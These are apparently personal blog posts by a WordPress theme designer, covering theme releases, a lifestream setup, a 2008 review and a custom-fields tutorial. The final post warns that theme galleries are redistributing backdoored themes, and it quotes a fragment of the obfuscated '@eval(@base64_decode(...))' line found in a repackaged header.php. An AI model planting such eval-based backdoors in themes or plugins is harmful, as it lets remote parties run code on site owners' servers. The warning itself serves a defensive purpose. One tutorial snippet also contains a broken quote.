Finally. Neglected but not forgotten, the Unstandard WordPress theme update is available for download. The jump from version 1.2.1 to 2.0 includes a complete re-write and supports post thumbnails (no more fiddling with custom fields), custom backgrounds and nested menus. The design has been modified slightly but still includes multiple color options as child themes (which should make it easier for everyone to customize their own flavors). Enjoy!

With that said, I’d like to announce a second release via ThemeGarden dubbed none other than Earmarked. What you get is a lightweight two column theme with a options panel, featured posts, breadcrumbs custom post type, Twitter widget, advertising options and more.

What’s next? Difficult to say. Do watch themetie.com which will begin to show some new activity and evolve into a single source for my theme releases and support. Grid Focus & The Unstandard users have waited patiently and your overdue updates are around the corner. That includes WordPress.com users!

This previous year (2010) was a roller coaster of emotion and professional challenge causing me to reminisce back to what originally helped me start online. All memories point back to a single point in my online “life” which involved WordPress. Acknowledging the fact that over the past few years I have fallen out of touch with the WordPress community and milestone releases, one of my goals for 2011 is to re-acclimate myself with WordPress. Bespoke is a testament of my plan to return to my original roots which motivated me to work as a designer & developer.

The premium decision

Although I have stayed fairly quiet over the past few years, I remained ever watchful and aware of the latest from the WordPress community, especially from many of the talented individuals behind some of the more prominent premium / commercial theme companies. I am unable to foresee where this initial release will lead me, or if the path will be that of success. But if there is one lesson I walked away with from 2010, it’s the fact that I can not continue ignoring my original roots.

One of the greatest challenges of releasing non-commercial or premium themes to the general public is the personal cost of support. Over the past few years, I have done my best and I apologize to anyone who had emailed in and received delayed responses or no response at all. Finding the time and energy necessary to support free themes was a significant challenge. To say that my hands were twisted behind my back towards the end of 2010 would be an overstatement, but not by much. As a result, I’ve found myself scrambling to make the right decisions for 2011. I understand that I will lose some supporters, but the decision to release Bespoke and the next few releases is one that is necessary. My hope is that some of my previous supporters will find the value of releases worth the asking price.

Bespoke highlights

Bespoke can be purchased for the low price of $45. A working demo is available as well (in addition to a temporary live test on this very site). The theme includes six color schemes, three alignment options, custom menus, post thumbnails, a featured content slider, advertising options and more. The entire process of designing and developing the Bespoke theme was a learning process which will only strengthen future releases. I had many take aways from the development of the theme which have already found use in upcoming theme releases.

Bespoke is what I envisioned as the next update for this site. Something clean which did not inhibit the content or imagery. With that said, I hope that others will see the value of Bespoke as a theme to add to their content sharing needs.

** Uploading Bespoke to this site helped me realize just how stagnant content has been. I plan on cleaning house, and keeping regular updates.

[...] I hope for a major push in the distribution model to better benefit the end user. WordPress 2.7 introduced a major convenience milestone by introducing the ability to install and update plugins from within the Dashboard. When are users going to enjoy the same convenience with themes? And when are theme developers going to be able to push updates to users without having to rely on their own homegrown methods of updating users? Blog posts, RSS feeds, email newsletters, and Twitter updates can only go so far. Is this a distribution solution managed from WordPress.org, or can theme developers deploy updates directly from their own servers? Because anyone is free to distribute their own themes, the immediate challenge – of course – will revolve around the question of moderation. That in itself is an entirely different blog post.

The post includes answers from: Brian Gardner, Andrew Rickmann, Elliot Jay Stocks, Darren Hoyt, Nathan Rice, Joost De Valk, Jeff Chandler, Dougal Campbell, Andrea, Adii, Justin Tadlock, Ashley Morgan, Chris Pearson, and Alistar Cameron.

What do you think the future holds for WordPress themes?

I enjoy the idea of a consolidated view of most of my internet activities – even more so when I have control of how my content is presented. After visiting http://kpishdadi.com/, and discovering that I could generate a similar site using Sweetcron (open source), all that was left to do was to create a simple theme.

this.isdereks.com – Aggregating my own favorite sites

Eventually, I will expand on the sources. For now, this.isdereks.com aggregates content from 5ThirtyOne, Flickr, Delicious, Twitter, and Brightkite.

The tedious part is managing your feeds

All kidding aside, the most work you will ever need to do while setting up your bone stock Sweetcron site is managing your feeds. The installation is straightforward requiring the creation of a database, file upload, and some configuration file editing to instruct Sweetcron where to look for the database. If you run into any issues, review the documentation or visit the Sweetcron Google Group.

With Sweetcron, you can:

• Aggregate your most used web services – all this hinges on the fact that those services offer RSS feeds.
• Filtering content by source. No backend tweaks needed. For example, ff you add your Flickr feed to your sources, simple visit your site and append the the following to the URL – /items/site/source.com. How easy is that?
• Meta tags. Most feeds like your WordPress or Flickr sources publish any tags associatd with the content. Sites like Twitter don’t. Sweetcron lets you manually add or edit tags in the admin panel.
• Single master feed of all your content. No need for your visitors to use something like Yahoo Pipes, Sweetcron combines all of your feeds into one.
• Did Sweetcron add something you would rather hide? Delete published items in the admin panel. Note that Sweetcron – by default – sets Twitter @replies as drafts requiring that you log in and publish items.
• Feeling bloggy? You can compose an entry through the admin panel and have it published with the rest of your aggregated data.
• Default 30 min refresh for new content, or create your own cron job to update your site. Sweetcron really is a true "set it and forget it" web app.

Other notes

• Sweetcron includes two themes: Boxy (by the original creator at http://www.yongfook.com/) and a Sandbox (bare bones text based theme). If you want something unique, spend some time exploring the structure of a Sweetcron site using Boxy as your guide.
• Don’t aggregate feeds from a web service that is already aggregating your internet activity. Make sense? Stick to feeding direct sources through Sweetcron rather than passing your FriendFeed RSS feed through.

Where is your lifestream?

Are you using Sweetcron, FriendFeed, Tumblr, or some other service as a lifestream? If so share your links in the comments.

A new year is just around the corner. This last year was full of great memories (the greatest being Asia 2008), experiences, and personal milestones. A few goals were met, while a handful of others postponed. Rather than talking about resolutions for the New Year (as I did the same day last year), I’m taking a look back – reviewing 2008.

Last years resolutions

Lose weight. My building has a decent gym in it, but I have only used it once. I’ve gained 15 lbs. since my last workout (which was too long ago).

Ok. First of all, I moved and no longer have a convenient gym on the 7th floor. Not to use this as an excuse, but the premium membership dues were a bit of a turn-off. $600? I figured I could find something that would yield more [of an immediate] return resulting in my ultimate happiness. That and I had persuaded my reflection, and Syl, that there was no reason we couldn’t run around the pond (4 laps = 1 mile). Something must have changed this year though, I have neither gained nor lost any weight. Maybe the 30 second "visual" workout before falling asleep has done something?

Last week I challenged Nathan, my younger brother, on the rowing erg in a 100m sprint. He only had me by 1 second. I think I really got under his skin. He does crew, works out 7 days a week, and is abnormally tall and strong for his age. I took that as a sign to keep doing what I’m doing.

Continue to curb my tendency to pick-up anything shiny and electronic.

I don’t even know why I bothered with this New Years "resolution". This is like keeping a dog from licking itself. Not going to happen. By the way, if you’re looking for an excellent DSLR + HD recording capability, check out the Nikon D90. AMAZING!

Favorite services, items, and software in 2008

Rather than spending time on what I would like to change for next year, here’s what I relied on during 2008. The same services, items, and software that I am very likely to continue using through 2009.

Web applications & services

• Mint – Extremely convenient & useful. Balance information across multiple accounts, bill reminders, an overview of purchases or buying habits. I am a fiend for statistics and Mint does with money what Mint does for site stats. Confused?
• Mint (site stats) – Real time site statistics with support for custom views using user submitted peppers.
• Flickr – At $25 / yr. Flickr is still my preferred service for sharing photos with friends & family.
• Remember The Milk – Pros: Access anywhere, multiple lists, shortcuts, iPhone app, APIs, data export. Definitely worth the $25 / yr. Pro account. Cons: I don’t like milk.
• MobileMe – The only reason I keep this service around is seamless iCal & Address Book syncing between my iPhone and computers. Push email is convenient for iPhone apps like Beejive but everything else falls short. iDisk is a failure – too slow and too many failed sync issues.
• Dropbox – Dear Apple, this is seamless file synchronization across multiple computers. Access in the "cloud" + faux versioning. Try it out, it’s perfect. 2 GB for free, $100 / yr. for 50 GB.

Hardware

• Nikon D90 – I have only had the D90 for a few weeks but it has already surpassed every reason I loved the D80. I didn’t think I would use the video feature much but short clips say much more than still photographs.
• MacBook – The new classic. The 2.4 GHz C2D + 4GB of RAM takes everything I throw at it.
• iPhone – 16GB. I feel lost without it.
• Xbox Elite – Games, entertainment, and Netflix. The one piece of Microsoft you’ll find at my place.
• PlayStation 3 – Purchased mainly for Blu-ray playback. There is a funny story behind this console. For the longest time I tried to convince Syl this was an air purifier.
• Logitech Harmony 720 – I hate clutter. Multiple A/V components means too many controllers. The Logitech 720 consolidates all of them into one. Updates from the web mean any new toys can be programmed instantly.

Software

• Webkit (OSX) – I rarely find myself in Firefox during development anymore thanks to the Web Inspector found in the latest nightlies.
• Versions.app (OSX) – I prefer a nice UI over the command line.
• TextMate + Transmit (OSX) – Still my favorite duo. I’m keeping an eye on Espresso though.
• Eventbox (OSX) – All of your social stuff in a single inbox.
• LittleSnapper (OSX) – Screenshot management. DOM inspector lets you capture specific elements on a page. Now supporting custom library location – Dropbox syncing works.
• Remember The Milk (iPhone) – Access and manage your tasks – available for Pro subscribers.
• Beejive (iPhone) – Mutli protocol IM application supports Push email service for message notifications when the app is closed.

Recent site updates

WordPress 2.7 was released, as such, the two most popular themes on 5thirtyone were updated to match. You can find the public themes here: Grid Focus & The Unstandard. I announced a change in theme releases using a new micro contributions system. Thank you to those who have contributed thus far. To see progress, view the contributions panel.

What were you favorites?

What were some of your favorites from 2008? Any services, hardware, or software that you used on a daily basis that you would recommend?

Screenshots

Features

• Lightweight optimized structural / presentation markup
• Three customizable widget zones
• Assign an image to front pages via WordPress ‘Featured Image’
• Custom background support
• Custom nested menus support
• Includes five color options (child themes)

Download

Interested in seeing how your site might look with the Unstandard theme? Visit the demo site or feel free to download latest now (2.0.4). Check the included readme.txt for setup instructions.

My hope is that the theme might serve as a great foundation for your own projects. Note: themes will migrate to Themetie for download & support.

The general consensus or recommendation is for users to either a) invest some time into learning the underlying architecture of WordPress in order to create or modify a theme, or b) invest some money for a one-off custom theme. The latter may not sound too appealing for the beginner or casual blogger, so modifying an existing theme like Grid Focus or October Special might be a good place to start.

How can I create a blog without the typical blog layout?

A typical blog landing page is comprised of noticeably sized chunks of text differentiated by a catchy titles and [possibly] a few inline images.

The typical two-column blog layout works but is used so often that new visitors may slowly blur the lines differentiating your blog from the previous. Sure, you could brighten the page with a few inline post images, but why not step it up a little with WordPress Custom Fields.

What are WordPress Custom Fields?

A WordPress post is comprised of the following:

• Title
• Content – text & images
• Categories
• Tags (if you’re running WordPress 2.3+)

Think of WordPress Custom Fields as extra "containers" of data that can be associated with a post – content that can be called and used within The Loop.

Custom post title with lead graphic background

The first step to setting yourself apart from the rest of the typical title + content blogs is a little style. Adding a photo or image behind a posts title can help to lure a reader into viewing the main excerpt / permalink of your post.

You can achieve a similar effect using WordPress Custom Fields.

First, create the image / photo that you want to use. For the example above, I create a photo of Boo, our Mini Rat Terrier, titled boo-lead-title.gif. Upload the image to your server and save the URI. If you would like the image and post title to span the entire width of your main content column, you’ll want to create a lead image with a width to match that of your main column. In the standard K2 theme included with WordPress, that width is 450px.

Second, compose a new post. Before saving, scroll towards the bottom of the editor pane and add a new Custom Field in the ‘Key’ field. In the example, I created a Custom Field titled lead_image. Paste the previously saved URI in the ‘Value’ field. Save the post – do not publish yet.

Third, open the index.php file in your themes directory and find the line beginning with <?php if (have_posts()) : ?>. If you are using the default theme, the area of the file we will be editing can be found below:

<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post" id="post-<?php the_ID(); ?>">
<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
<div class="entry">
<?php the_content('Read the rest of this entry'); ?>
</div>
<p class="postmetadata"><?php the_tags('Tags: ', ', ', '<br />'); ?> Posted in <?php the_category(', ') ?> | <?php edit_post_link('Edit', '', ' | '); ?> <?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></p>
</div>
<?php endwhile; ?>

Having previously created a Custom Field called lead_image, we can now call that image from within The Loop. Changes to the above code are in bold below:

<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post" id="post-<?php the_ID(); ?>">
<div class="lead-image-wrapper">
<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
<?php $image = get_post_meta($post->ID, "lead_image", true); ?>
<img src="<?php echo $image; ?>" />
</div>
<div class="entry">
<?php the_content('Read the rest of this entry'); ?>
</div>
<p class="postmetadata"><?php the_tags('Tags: ', ', ', '<br />'); ?> Posted in <?php the_category(', ') ?> | <?php edit_post_link('Edit', ', ' | '); ?> <?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></p>
</div>
<?php endwhile; ?>

Notice that both the php function and post title are wrapped by a new div with a class lead-image-wrapper. Also notice that the title h2 is loaded before the image.

Fourth, add the following to your style.css.

.lead-image-wrapper { background: #000; position: relative; }
.lead-image-wrapper h2 { font-size: 28px; line-height: 30px; position: absolute; top: 90px; left: 12px; z-index: 1; }
.lead-image-wrapper h2 a { color: #fff; text-decoration: none; }
.lead-image-wrapper img { height: xxxpx; width: xxxpx; }

In order to ensure that the styles are applied, you can either a) remove any previous styles associated with the h2 tags loaded on the index page, or b) place the code at the bottom of the stylesheet overriding any previous code – Cascading Style Sheets.

• A background color is specified for .lead-image-wrapper in case your image fails to load. Because the title link is white, you want to ensure that the parent element has a background color for readability.
• The title link is positioned absolute relative to the parent element .lead-image-wrapper. Adjust the positioning accordingly for your image.
• Always set a height or width for images – make .lead-image-wrapper img match the dimensions of the lead_image you have uploaded.

Fifth, experiment, experiment, experiment. Part of the learning process is learning by trial and error. Feel free to use the comments for help or feedback.

As WordPress – both hosted and self-hosted – continues to enjoy explosive growth, exposure to malicious activity and code will increase. Sadly, this applies to both website administrators and visitors. In August I was disappointed to discover that WordPress and Joomla themes were being redistributed with malicious code; code which would track your own visitors or allow for random ads to be served. Since being exposed, the offending website has been taken down. Unfortunately, similar theme galleries have appeared with the same intent to redistribute themes with malicious code.

WP Sphere is distributed WordPress themes with malicious code

Alistair recently tipped me off to another WordPress gallery distributing themes which include malicious code / modifications. The tip from Alistair actually began as a support email:

I have one question about the encoded stuff I saw in the header, [...]

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@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
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MzMDkxNik7'));

After kindly informing Alistair that my theme(s) were not distributed with any code outside of the WordPress scope, I discovered that the code in question was downloaded from WP Sphere. Poking through some of the other recognized themes on the site, I discovered that each of the themes made available for download had been repackaged to include the code above – often in plain view within the header.php file. Paul Carroll took the time to break down what the code above exposes users to.

I think the potential for abuse of this script is huge. I see it as a covert channel to setup Word Press enabled sites as thin zombies. The code being sent back to the server and eval’d could be a mailing script for spam or phishing.

If you have downloaded themes from WP Sphere or any other WordPress themes gallery, exercise caution and inspect the source code. If you are not code proficient, identify the original author and download the theme directly.

How do you police a non-policed platform?

The growth of a platform increases the virtual bulls-eye for malicious individuals to target. How do you protect WordPress users from download sites like WP Sphere or Template Browser? Alistair pointed out that WP Sphere was targeting users by purchasing Google AdWords to strengthen and increase the likelihood of attracting organic search engine traffic. How do you fight against such websites?

Only download 5ThirtyOne themes from 5thirtyone.com

I invite WordPress theme authors to make the same recommendation for their visitors – do not download themes from websites other than your own. Additionally, if you are a theme author and discover work being redistributed [without permission] with or without malicious code, contact the offending website host to request that content be taken down.

Unless a 5ThirtyOne theme was officially converted for use on a blogging platform other than WordPress, please download themes from nowhere else other than the links below:

• Foliage
• Foliage Mod
• 5ThirtyOne V2
• October Special
• Grid Focus
• The Unstandard

If you’ve recommended WordPress to friends and family, please take the time to check or inform them of the dangers of downloading from free theme galleries. [Digg this]

Templates Browser is re-distributing public blog themes which are modified in such a way as to exploit the end user by inserting hidden spam or malware links. A quick search concerning the website pulls up the following links on AboutUs, Joomla forums, and Onnoot – here & here.

The links are inserted via an additional functions.php file which is included with the theme downloads. If you’re shopping around for public themes, I strongly recommend that you download directly from the original authors website.

Unfortunately, one of my own public themes – 5ThirtyOne V2 – is one of the "dirty" themes that has been modified and is currently being redistributed.

Spread the word and inform other WordPress & Joomla users – Digg this.

Take Care of your Hosting Issues

Make sure you have safe and secure hosting for your website. Sometimes unix web hosting is a more secure option, so do your hosting research before paying the big bucks. Take care of your website hosting issues today!